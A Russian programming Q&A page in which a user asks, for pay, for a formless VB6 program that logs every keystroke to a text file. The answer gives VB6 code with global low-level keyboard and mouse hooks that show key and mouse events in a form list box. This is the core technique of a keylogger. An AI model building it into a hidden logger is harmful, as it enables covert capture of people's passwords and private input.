Перехват нажатия клавиатуры в конкретном приложении - VB
Формулировка задачи:
Возможно это уже где то звучало, но тк с апи не имел ничего общего обращаюсь к вам.
Надо создать приложение чтобы перехватывать нажатия клавиатуры и записывать их в текстовый файл. Причем надо бы и кириллицу и латиницу и спецсимволы и цифры. Без форм,без настроек и прочего. Только перехват клавиатуры в текст.
Если есть желание, то можно не бесплатно.
Писать надо на VB6.0
Решение задачи: «Перехват нажатия клавиатуры в конкретном приложении»
textual
Листинг программы
Option Explicit Private Type POINTAPI x As Long y As Long End Type Private Type MSLLHOOKSTRUCT pt As POINTAPI mouseData As Long flags As Long time As Long dwExtraInfo As Long End Type Private Type KBDLLHOOKSTRUCT VkCode As Long ScanCode As Long flags As Long time As Long dwExtraInfo As Long End Type Private Declare Function SetWindowsHookEx Lib "user32" Alias "SetWindowsHookExA" (ByVal idHook As Long, ByVal lpfn As Long, ByVal hmod As Long, ByVal dwThreadId As Long) As Long Private Declare Function CallNextHookEx Lib "user32" (ByVal hHook As Long, ByVal ncode As Long, ByVal wParam As Integer, lParam As Any) As Long Private Declare Function UnhookWindowsHookEx Lib "user32" (ByVal hHook As Long) As Long Private Const WH_KEYBOARD_LL = 13 Private Const WH_MOUSE_LL = &HE& Private Const HC_ACTION = 0 Private Const LLKHF_INJECTED = &H10 Private Const LLMHF_INJECTED = 1 Private Const WM_KEYDOWN As Long = &H100 Private Const WM_KEYUP As Long = &H101 Private Const WM_SYSKEYDOWN As Long = &H104 Private Const WM_SYSKEYUP As Long = &H105 Private Const WM_MOUSEMOVE As Long = &H200 Private Const WM_LBUTTONDOWN As Long = &H201 Private Const WM_LBUTTONUP As Long = &H202 Private Const WM_MBUTTONDOWN As Long = &H207 Private Const WM_MBUTTONUP As Long = &H208 Private Const WM_RBUTTONDOWN As Long = &H204 Private Const WM_RBUTTONUP As Long = &H205 Private Const WM_MOUSEWHEEL As Long = &H20A Dim hKeyHook As Long, hMouseHook As Long Public Sub Hook() hKeyHook = SetWindowsHookEx(WH_KEYBOARD_LL, AddressOf LowLevelkbdProc, App.hInstance, 0) If hKeyHook = 0 Then MsgBox ("Keyboard hook error") hMouseHook = SetWindowsHookEx(WH_MOUSE_LL, AddressOf LowLevelMouseProc, App.hInstance, 0) If hMouseHook = 0 Then MsgBox ("Mouse hook error") End Sub Public Sub UnHook() If hKeyHook Then UnhookWindowsHookEx (hKeyHook): hKeyHook = 0 If hMouseHook Then UnhookWindowsHookEx (hMouseHook): hMouseHook = 0 End Sub ' Процедура перехвата сообщений клавиатуры Private Function LowLevelkbdProc(ByVal uCode As Long, ByVal wParam As Long, lParam As KBDLLHOOKSTRUCT) As Long If uCode = HC_ACTION Then Select Case wParam Case WM_KEYDOWN, WM_KEYUP, WM_SYSKEYDOWN, WM_SYSKEYUP frmMain.lstEvenst.AddItem KeyString(wParam) & _ "KeyCode: " & lParam.VkCode & _ " ScanCode: " & lParam.ScanCode & _ IIf(lParam.flags And LLKHF_INJECTED, "(inj)", vbNullString) frmMain.lstEvenst.ListIndex = frmMain.lstEvenst.ListCount - 1 End Select End If LowLevelkbdProc = CallNextHookEx(hKeyHook, uCode, wParam, lParam) End Function ' Процедура перехвата сообщений мыши Private Function LowLevelMouseProc(ByVal uCode As Long, ByVal wParam As Long, lParam As MSLLHOOKSTRUCT) As Long If uCode = HC_ACTION Then Select Case wParam Case WM_MOUSEMOVE frmMain.lstEvenst.AddItem "MouseMove: " & _ "Coord: " & lParam.pt.x & ", " & lParam.pt.y & _ IIf(lParam.flags And LLMHF_INJECTED, "(inj)", vbNullString) frmMain.lstEvenst.ListIndex = frmMain.lstEvenst.ListCount - 1 Case WM_MOUSEWHEEL frmMain.lstEvenst.AddItem "MouseWheel: " & _ "Coord: " & lParam.pt.x & ", " & lParam.pt.y & _ " Dir: " & IIf(lParam.mouseData > 0, "Forward", "Backward") & _ IIf(lParam.flags And LLMHF_INJECTED, "(inj)", vbNullString) frmMain.lstEvenst.ListIndex = frmMain.lstEvenst.ListCount - 1 Case Else frmMain.lstEvenst.AddItem MouseString(wParam) & _ " Coord: " & lParam.pt.x & ", " & lParam.pt.y & _ IIf(lParam.flags And LLMHF_INJECTED, "(inj)", vbNullString) frmMain.lstEvenst.ListIndex = frmMain.lstEvenst.ListCount - 1 End Select End If LowLevelMouseProc = CallNextHookEx(hMouseHook, uCode, wParam, lParam) End Function Private Function MouseString(WH As Long) As String Select Case WH Case WM_LBUTTONDOWN: MouseString = "MouseLButtonDown:" Case WM_LBUTTONUP: MouseString = "MouseLButtonUp:" Case WM_RBUTTONDOWN: MouseString = "MouseRButtonDown:" Case WM_RBUTTONUP: MouseString = "MouseRButtonUp:" Case WM_MBUTTONDOWN: MouseString = "MouseMButtonDown:" Case WM_MBUTTONUP: MouseString = "MouseMMuttonUp:" End Select End Function Private Function KeyString(WH As Long) As String Select Case WH Case WM_KEYDOWN: KeyString = "KeyDown:" Case WM_KEYUP: KeyString = "KeyUp:" Case WM_SYSKEYDOWN: KeyString = "KeySysDown:" Case WM_SYSKEYUP: KeyString = "KeySysUp:" End Select End Function
ИИ поможет Вам:
- решить любую задачу по программированию
- объяснить код
- расставить комментарии в коде
- и т.д